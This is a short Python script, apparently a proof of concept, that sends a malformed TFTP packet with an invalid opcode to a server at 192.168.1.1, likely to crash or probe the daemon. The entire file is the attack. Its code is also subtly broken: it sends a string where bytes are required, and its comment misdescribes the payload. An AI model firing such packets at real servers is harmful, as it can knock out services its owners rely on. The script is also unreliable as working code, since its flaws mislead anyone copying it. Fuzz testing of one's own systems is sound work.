import socket
import sys

tftpd = ('192.168.1.1', 69)

#Try and open an UDP SOCKET
try:
      tftp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

except:
      print("Failed on socket creation, so exiting")
      sys.exit(1)

#create a invalid opcode exeeding the 2 byte length
#          opcode  operation
#            1    Read request (RRQ)
#            2    Write request (WRQ)
#            3    Data (DATA)
#            4    Acknowledgment (ACK)
#            5    Error (ERROR)

invalidOpcode = "0000"
tftp.sendto(invalidOpcode,tftpd)